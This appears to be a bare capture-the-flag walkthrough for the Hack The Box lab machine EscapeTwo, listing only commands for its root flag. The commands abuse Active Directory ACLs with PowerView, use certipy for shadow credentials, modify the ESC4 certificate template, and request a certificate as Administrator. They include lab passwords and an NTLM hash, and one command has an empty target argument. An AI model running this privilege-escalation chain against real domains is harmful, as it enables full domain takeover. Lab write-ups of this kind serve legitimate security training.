EscapeTwo - Hack The Box machine (Easy)

Root Flag

python3 powerview.py sequel.htb/ryan:WqSZAF6CysDQbGb3@10.10.11.51

Get-DomainObjectAcl -ResolveGUIDs -SecurityIdentifier S-1-5-21-548670397-972687484-3496335370-1114

Set-DomainObjectOwner -TargetIdentity ca_svc -PrincipalIdentity ryan

Add-DomainObjectAcl -TargetIdentity ca_svc -PrincipalIdentity ryan -Rights fullcontrol

certipy shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.10.11.51

certipy find -u ca_svc@sequel.htb -hashes :x -stdout -vulnerable

certipy template -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -template ESC4-Test -save-old

certipy req -u 'ca_svc@sequel.htb' -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -target  -upn Administrator@sequel.htb